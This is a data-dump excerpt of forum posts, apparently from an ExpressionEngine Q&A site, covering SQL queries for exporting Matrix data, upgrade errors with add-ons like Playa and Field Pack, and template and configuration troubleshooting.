  <row Id="9667" PostTypeId="1" CreationDate="2013-04-24T21:31:24.193" Score="2" ViewCount="448" Body="&lt;p&gt;I need to export channel entries with matrix data and having problems joining the entry id with my matrix subquery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the matrix subquery which adds up my rows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_matrix_data.entry_id, sum(exp_matrix_data.col_id_13) as TotalPartyPoints, sum(exp_matrix_data.col_id_14) as RedeemablePoints  &#xA;FROM exp_matrix_data WHERE  exp_matrix_data.entry_id = 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are the other fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;        exp_channel_data.entry_id as ID, &#xA;        exp_members.username as Email, &#xA;        exp_channel_data.field_id_27 as FirstName, &#xA;        exp_channel_data.field_id_28 as LastName, &#xA;        exp_channel_data.field_id_29 as Gender, &#xA;        exp_channel_data.field_id_31 as Address, &#xA;        exp_channel_data.field_id_32 as City, &#xA;        exp_channel_data.field_id_33 as State, &#xA;        exp_channel_data.field_id_34 as ZipCode, &#xA;        exp_channel_data.field_id_35 as CellPhone,&#xA;        exp_channel_data.field_id_36 as AltPhone,&#xA;        exp_channel_data.field_id_37 as SpouseName,&#xA;        FROM_UNIXTIME(exp_channel_titles.entry_date, '%m/%d/%Y') as InceptionDate,&#xA;        exp_channel_data.field_id_39 as Country,&#xA;        exp_channel_data.field_id_40 as GoldClub,&#xA;        exp_channel_data.field_id_43 as KAMA,&#xA;        exp_channel_titles.entry_id,&#xA;        exp_channel_titles.author_id,&#xA;        exp_channel_titles.channel_id&#xA;        FROM  exp_channel_data, exp_channel_titles, exp_members&#xA;        WHERE  exp_channel_data.entry_id = exp_channel_titles.entry_id&#xA;        AND exp_channel_titles.channel_id = 6&#xA;        AND exp_members.member_id = exp_channel_titles.author_id&#xA;        ORDER by LastName asc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both selects return the desired results. How can I join my matrix query here as a subquery?&lt;/p&gt;&#xA;" OwnerUserId="1378" LastEditorUserId="150" LastEditDate="2013-04-25T03:00:18.733" LastActivityDate="2013-04-25T09:12:15.360" Title="sql subquery channel entry &amp; matrix rows" Tags="|matrix|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9668" PostTypeId="1" CreationDate="2013-04-24T22:08:47.053" Score="0" ViewCount="118" Body="&lt;p&gt;Getting the following when I try to export any template group...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Design::$api&#xA;&#xA;Filename: cp/design.php&#xA;&#xA;Line Number: 3516&#xA;&#xA;Fatal error: Call to a member function instantiate() on a non-object in (mypath)/system/expressionengine/controllers/cp/design.php on line 3516&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have disabled &lt;em&gt;all&lt;/em&gt; third-party add-ons, as well as tried a clean install followed by a database import, and the problem persists. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2013-04-29T16:13:05.693" Title="PHP error on template export, after upgrading to 2.6" Tags="|templates|php|error|upgrade|export|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9669" PostTypeId="1" AcceptedAnswerId="9673" CreationDate="2013-04-24T22:35:06.193" Score="1" ViewCount="87" Body="&lt;p&gt;I'm using categories as tags for news articles and showing a list of &quot;tags&quot; in the sidebar. I'd like the list of &quot;tags&quot; to be ordered randomly. Does anyone know how to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-04-25T01:40:35.850" Title="Show categories in random order" Tags="|categories|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9671" PostTypeId="1" CreationDate="2013-04-24T23:31:50.040" Score="0" ViewCount="126" Body="&lt;p&gt;I'm using Cartthrob's {exp:cartthrob:checkout_form} tag pair. Currently it is using the {gateway_fields} variable to output the right fields. I would like to customize the form using my own html and my understanding is that I should be able to find the html in the Cartthrob payments page. For some reason though, that html is not showing up when I select the dpm payment method (which is what we are using). I can see html to copy when I select other payment methods though. Any ideas why it is not there for dpm?&lt;/p&gt;&#xA;" OwnerDisplayName="user1011" LastActivityDate="2013-04-24T23:31:50.040" Title="Cartthrob Gateway Fields Custom Html Seems to Be Missing" Tags="|cartthrob|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9672" PostTypeId="1" CreationDate="2013-04-24T23:49:01.697" Score="1" ViewCount="298" Body="&lt;p&gt;I upgraded one of my EE sites tonight to EE 2.6 and also went to upgrade to the new Field Pack v2.0 but I am receiving a series of errors like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Use of undefined constant PT_FIELD_PACK_VER - assumed 'PT_FIELD_PACK_VER'&#xA;Filename: api/Api_channel_fields.php&#xA;Line Number: 117&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I receive one for each of the fields. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="375" LastActivityDate="2013-05-25T20:30:19.833" Title="Pixel &amp; Tonic Field Pack v2.0" Tags="|pixelandtonic|field-pack|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9673" PostTypeId="2" ParentId="9669" CreationDate="2013-04-25T01:40:35.850" Score="3" Body="&lt;p&gt;For showing categories you can use &quot;GWCode Categories&quot; plugin which is having &quot;orderby&quot; parameter with &quot;random&quot; value. Like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories orderby=&quot;random&quot;}&#xA;{category_name}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-25T01:40:35.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9674" PostTypeId="2" ParentId="9667" CreationDate="2013-04-25T02:48:11.300" Score="1" Body="&lt;p&gt;Try this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_channel_data.entry_id as ID, &#xA;SUM(exp_matrix_data.col_id_13) as TotalPartyPoints, &#xA;SUM(exp_matrix_data.col_id_14) as RedeemablePoints, &#xA;exp_members.username as Email, &#xA;exp_channel_data.field_id_27 as FirstName, &#xA;exp_channel_data.field_id_28 as LastName, &#xA;exp_channel_data.field_id_29 as Gender, &#xA;exp_channel_data.field_id_31 as Address, &#xA;exp_channel_data.field_id_32 as City, &#xA;exp_channel_data.field_id_33 as State, &#xA;exp_channel_data.field_id_34 as ZipCode, &#xA;exp_channel_data.field_id_35 as CellPhone, &#xA;exp_channel_data.field_id_36 as AltPhone, &#xA;exp_channel_data.field_id_37 as SpouseName, &#xA;FROM_UNIXTIME(exp_channel_titles.entry_date, '%m/%d/%Y') as InceptionDate, &#xA;exp_channel_data.field_id_39 as Country, &#xA;exp_channel_data.field_id_40 as GoldClub, &#xA;exp_channel_data.field_id_43 as KAMA, &#xA;exp_channel_titles.entry_id, &#xA;exp_channel_titles.author_id, &#xA;exp_channel_titles.channel_id &#xA;FROM exp_channel_titles&#xA;JOIN exp_channel_data ON exp_channel_data.entry_id=exp_channel_titles &#xA;JOIN exp_members ON exp_members.member_id=exp_channel_titles.author_id  &#xA;JOIN exp_matrix_data ON exp_matrix_data.entry_id=exp_channel_titles.entry_id  &#xA;WHERE exp_channel_titles.channel_id = 6 GROUP BY exp_matrix_data.entry_id ORDER by exp_channel_data.field_id_28 ASC &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-25T09:12:15.360" LastActivityDate="2013-04-25T09:12:15.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9675" PostTypeId="1" CreationDate="2013-04-25T04:06:47.003" Score="1" ViewCount="121" Body="&lt;p&gt;Does anyone know a plugin/add-on or method to have images inserted inline (not custom field) into content by user automatically link to a larger version? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Channel Images installed and was surprised it had no means to do that. In their forum Dev Demon says doing so would be difficult, but it seems fairly simple to have an option to add an href to the image inserted and a dropdown to pick which processed version to link to—as a manual action or automatic (preferred).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can’t even link manually to the CI images variations as they are stored in folders and the ee file manager can’t see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, anyone done this?  Or am I just missing something in general? Seems a pretty common use case to have the user insert an image and easily link to a larger version (plugin or native method).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your input.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-04-25T17:29:15.357" Title="Inline images automatically link to larger version? Possible?" Tags="|channel-images|image-path|inline-editing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9676" PostTypeId="2" ParentId="9664" CreationDate="2013-04-25T06:15:31.407" Score="1" Body="&lt;p&gt;Few things you can try here, sessions is the likely suspect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly try clearing your browser cache, or in a browser like Chrome for example, open up an incognito tab, which will temporarily give you a session without any preexisting cookies to mess things up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In combination with the above, you can try clearing your exp_sessions table, which will force EE to forget any previous sessions stored in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory if it's sessions causing a failure to login then this would solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can also try, although I wouldn't expect this to make any difference if the above dont:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your config.php, and look for this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['admin_session_type'] = &quot;c&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insert a random value in there, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['admin_session_type'] = &quot;x&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will change the name of the sessions being created, again fooling EE into creating brand new sessions rather than matching existing ones.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-04-25T06:15:31.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9677" PostTypeId="2" ParentId="4848" CreationDate="2013-04-25T07:03:25.093" Score="3" Body="&lt;p&gt;I have just spent many hours trying to resolve the very same issue, however, I was relunctant to upgrade PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my production server, JavaScript was taking 5 seconds to load slowing down the responsiveness of every page within the control panel. However, the issue did not occur on my local (MAMP) server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went through a process of disabling all the Accessories, checking PHP version etc. but nothing worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally got a clue from &lt;a href=&quot;http://ellislab.com/forums/viewthread/177668/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; on EE’s forum which mentioned disabling Generate HTTP Headers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, having read the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; it is clear that this can cause problems, 'Sending explicit headers is generally considered to be a good practice, although in some cases it can cause some problems'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps anyone else who may come across this issue and stumble on this post.&lt;/p&gt;&#xA;" OwnerUserId="985" LastActivityDate="2013-04-25T07:03:25.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9678" PostTypeId="2" ParentId="9664" CreationDate="2013-04-25T08:13:40.550" Score="0" Body="&lt;p&gt;Check that the user account you are trying to log in with is present in &lt;code&gt;exp_members&lt;/code&gt; in the database. The password will be salted and hashed but you can at least confirm the presence of the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that browser caches are cleared, along with the system cache directory: system &gt; expressionengine &gt; cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that still fails then it may be possible that the restore didn't quite complete successfully for some reason so try it again and ensure that you set it to Drop any existing tables already in the database.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-25T08:13:40.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9679" PostTypeId="2" ParentId="9633" CreationDate="2013-04-25T08:50:48.680" Score="4" Body="&lt;p&gt;I made a flowchart to visualize the implementation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it comes down to these steps: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add product to cart (Store)&lt;/li&gt;&#xA;&lt;li&gt;Cart overview - proceed to checkout (Store)&lt;/li&gt;&#xA;&lt;li&gt;New vs. returning customer / Login - Registration form (Visitor)&lt;/li&gt;&#xA;&lt;li&gt;Final checkout, here you will pass the visitor member data into hidden store checkout fields &lt;/li&gt;&#xA;&lt;li&gt;Done :)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQPMC.png&quot; alt=&quot;Visitor-Store implementation flowchart&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="749" LastActivityDate="2013-04-25T08:50:48.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9680" PostTypeId="2" ParentId="9668" CreationDate="2013-04-25T08:56:41.057" Score="1" Body="&lt;p&gt;This seems to be a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19322&quot; rel=&quot;nofollow&quot;&gt;known bug&lt;/a&gt; related to disabling custom fields in your channel entries tag pair. Give this solution a try and see if it resolves the problem. It should be fixed up in the next release.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-25T08:56:41.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9681" PostTypeId="1" AcceptedAnswerId="9692" CreationDate="2013-04-25T09:34:18.723" Score="1" ViewCount="123" Body="&lt;p&gt;I'm trying to get the current &quot;row_id&quot; of a Playa entry, but it doesn't seem to want to output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm prefixing it because there was another plugin that was conflicting with the {count} and {total_results} variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_course_content var_prefix=&quot;q&quot; limit=&quot;1&quot; offset=&quot;{course_progress_id}&quot;}&#xA;     {q:count}&#xA;     {q:total_results}&#xA;     {q:row_id}&#xA;     {q:cf_question_type}&#xA;{/cf_course_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when this is rendered, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;15&#xA;{row_id}&#xA;Drag &amp;amp; Drop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why would it output like that? When all the other prefixed variables are working. I've pulled this outside of any other plugins / modules just incase anything was clashing and it still does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also been doing a bit of digging, and i'm not sure if &quot;row_id&quot; is what I need to output anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get the &quot;Row Position&quot; inside the Playa field. But I believe the &quot;row_id&quot; is a unique reference from the DB? Not Unique to that particular entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to output this, or get around the &quot;row_id&quot; problem?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-04-25T13:17:50.870" Title="&quot;row_id&quot; on Playa field not working" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9682" PostTypeId="1" AcceptedAnswerId="9686" CreationDate="2013-04-25T09:55:40.563" Score="1" ViewCount="47" Body="&lt;p&gt;I've just added a new country to my client's webshop (Belgium), and I've added a rule to their Shipping method which checks for this country, and then sets a shipping-rate. Belgium shows up in the dropdown on our checkout-process now, but when I select it, and go to the next step (order confirmation before payment) it'll show our other country (The Netherlands) instead... so apparently selection isn't coming through, even though the dropdown renders fine and the value is set properly... Any thoughts on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-04-25T10:27:01.483" Title="Exp-resso Store not registering Shipping Country" Tags="|expresso-store|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9683" PostTypeId="1" AcceptedAnswerId="9685" CreationDate="2013-04-25T10:15:24.420" Score="1" ViewCount="191" Body="&lt;p&gt;I'm sure this is an easy one to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a matrix field which I am using together with CE Image to create a gallery. It contains two columns and a variable number of rows depending on how many images it contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CbQfa.jpg&quot; alt=&quot;matrix&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery limit=&quot;1&quot;}&#xA;&#xA;    {exp:ce_img:pair src=&quot;{image_url}&quot; crop=&quot;yes|smart_scale&quot; width=&quot;420&quot; height=&quot;315&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;sharpen&quot; limit=&quot;1&quot; quality='60' add_dims=&quot;no&quot;}&#xA;&#xA;    &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot;/&amp;gt;&#xA;&#xA;        {/exp:ce_img:pair}&#xA;&#xA;{/_gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I want the image to be the one that is &quot;1&quot; in the Image Order Number (image_order) column.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-25T10:24:39.077" Title="Simple Matrix order question... I think!" Tags="|matrix|ce-image|image-galleries|orderby|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9684" PostTypeId="2" ParentId="9644" CreationDate="2013-04-25T10:17:37.603" Score="1" Body="&lt;p&gt;OK, not ideal, but as all my data was coming in from an XML feed, I created another CVS file with a column of unique fields (matching unique fields in my entries) and added the text that I wanted into another column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then imported all this via Datagrab add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked fine.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-25T10:17:37.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9685" PostTypeId="2" ParentId="9683" CreationDate="2013-04-25T10:24:39.077" Score="3" Body="&lt;p&gt;Well that was simple! just added the &lt;code&gt;orderby=&quot;image_order&quot;&lt;/code&gt; parameter to the matrix tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had tried that originally, but it was using the already cached images. Once they were deleted out, it regenerated the right ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-25T10:24:39.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9686" PostTypeId="2" ParentId="9682" CreationDate="2013-04-25T10:27:01.483" Score="1" Body="&lt;p&gt;Gah, nevermind, fieldnames weren't set properly. Sorry!&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-04-25T10:27:01.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9687" PostTypeId="1" AcceptedAnswerId="9688" CreationDate="2013-04-25T10:30:27.093" Score="5" ViewCount="1230" Body="&lt;p&gt;I'm in the process of updating my local and staging-environments to EE2.6. I've just updated Matrix, Wygwam and Playa to their latest (EE2.6 compatible) versions, and I'm now getting these errors on the front-end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'rel.parent_is_draft' in 'where clause'&#xA;&#xA;SELECT DISTINCT(rel.child_entry_id) AS entry_id FROM exp_playa_relationships rel WHERE rel.parent_entry_id = 1 AND rel.parent_is_draft = 0 ORDER BY rel.rel_order&#xA;&#xA;Filename: /Applications/MAMP/hqdocs/static/third_party/playa/mod.playa.php&#xA;&#xA;Line Number: 739&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Backend is functioning fine, all fields are displaying and saving as expected, just the front-end fails... Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-10-29T21:10:53.150" Title="Site failing after update to Playa 4.4.2" Tags="|playa|pixelandtonic|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9688" PostTypeId="2" ParentId="9687" CreationDate="2013-04-25T12:18:44.647" Score="9" Body="&lt;p&gt;Looks like the update for Playa didn't complete. The &quot;rel.parent_is_draft&quot; column isn't in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you followed all the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/installation.html&quot;&gt;&lt;strong&gt;Playa update instructions&lt;/strong&gt;&lt;/a&gt; including this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Go to Add-Ons → Fieldtypes → Playa to trigger Playa’s update script.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-04-29T03:42:27.537" LastActivityDate="2013-04-29T03:42:27.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9689" PostTypeId="2" ParentId="9616" CreationDate="2013-04-25T12:57:43.500" Score="1" Body="&lt;p&gt;Using a count conditional should do the trick if I'm understanding the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;21 records will still be returned but only 6 will &quot;show&quot;. This is not ideal because your tag is doing more work than it needs to do. Also, there might be performance issues if tons of entry_ids are passed to {embed:deals}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:deals}&quot; channel=&quot;business-listing&quot; category=&quot;{segment_1_category_id}&quot; status=&quot;Super Enhanced|Enhanced|Basic&quot; limit=&quot;6&quot;}&#xA;{if count &amp;lt; 7}&#xA;        {exp:playa:parents channel=&quot;daily-deals&quot;}{monday-deal}{/exp:playa:parents} - {title} - {city},{state-short}&amp;lt;br&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-25T12:57:43.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9690" PostTypeId="1" AcceptedAnswerId="9693" CreationDate="2013-04-25T13:02:40.453" Score="3" ViewCount="8475" Body="&lt;p&gt;I've got a Active Record query which i need to grab the sql from, so i'm doing the query and then i'm doing for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('foo')-&amp;gt;get('bar');     &#xA;$bob = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;last_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, on my local machine it picks it up fine. But, on the live site it's picking up a query of the exp_sites table and basically just returns the contents of the exp_sites table for this site (it's not msm so there is only one row). That's not the query i want, so how is it getting picked up there?!?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why this might be? Caching? A full moon?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-04-25T13:37:38.903" Title="$this-&gt;db-&gt;last_query() not picking up the right query" Tags="|sql|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9691" PostTypeId="2" ParentId="9690" CreationDate="2013-04-25T13:16:43.943" Score="-1" Body="&lt;p&gt;As far as I know, last_query() just doesn't work in EE... it never has (or at least when I've tried to use it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;easiest way to do it (which is what I do) is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('foo')-&amp;gt;get('bar');&#xA;$bob = $query-&amp;gt;result_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone infinitely more intelligent than I will probably be able to tell you why it doesn't work, but suffice to say - I gave up trying to figure it out.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-04-25T13:16:43.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9692" PostTypeId="2" ParentId="9681" CreationDate="2013-04-25T13:17:50.870" Score="0" Body="&lt;p&gt;&lt;code&gt;{row_id}&lt;/code&gt; is a Matrix tag. Playa doesn’t know anything about it. To get the current entry’s position within the Playa field, just use &lt;code&gt;{count}&lt;/code&gt; (or &lt;code&gt;{q:count}&lt;/code&gt; since you’ve got that var_prefix param.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-04-25T13:17:50.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9693" PostTypeId="2" ParentId="9690" CreationDate="2013-04-25T13:32:38.163" Score="12" Body="&lt;p&gt;Put this above your query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;save_queries = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EE_Config.php&lt;/code&gt; sets the &lt;code&gt;save_queries&lt;/code&gt; value dynamically based on debug/profiler settings, ignoring settings in &lt;code&gt;database.php&lt;/code&gt;. This is why it worked fine in your local environment.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditDate="2013-04-25T13:37:38.903" LastActivityDate="2013-04-25T13:37:38.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9694" PostTypeId="2" ParentId="9690" CreationDate="2013-04-25T13:33:38.633" Score="4" Body="&lt;p&gt;This will do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;save_queries = TRUE;&#xA;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('foo')-&amp;gt;get('bar');&#xA;$bob = end($this-&amp;gt;EE-&amp;gt;db-&amp;gt;queries);&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;save_queries = FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="934" LastActivityDate="2013-04-25T13:33:38.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9695" PostTypeId="1" AcceptedAnswerId="9697" CreationDate="2013-04-25T13:35:21.020" Score="0" ViewCount="482" Body="&lt;p&gt;Is it possible to notify a mailing list when a new entry is submitted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know if is fairly easy to notify a member group when a entry is submitted, but I need to notify a mailing list everytime an entry is submitted.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-05T15:30:24.850" Title="Notify Mailing list of new entry?" Tags="|members|email|notification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9696" PostTypeId="2" ParentId="9695" CreationDate="2013-04-25T14:06:07.507" Score="1" Body="&lt;p&gt;With &lt;a href=&quot;https://www.objectivehtml.com/postmaster/features&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; you can send emails for anything, so it's possible.&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2013-04-25T14:54:14.693" LastActivityDate="2013-04-25T14:54:14.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9697" PostTypeId="2" ParentId="9695" CreationDate="2013-04-25T14:20:23.633" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-notify-control&lt;/a&gt; is the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i found this version: &lt;a href=&quot;http://www.eec.ms/forums/viewthread/573/&quot; rel=&quot;nofollow&quot;&gt;http://www.eec.ms/forums/viewthread/573/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-04-25T14:20:23.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
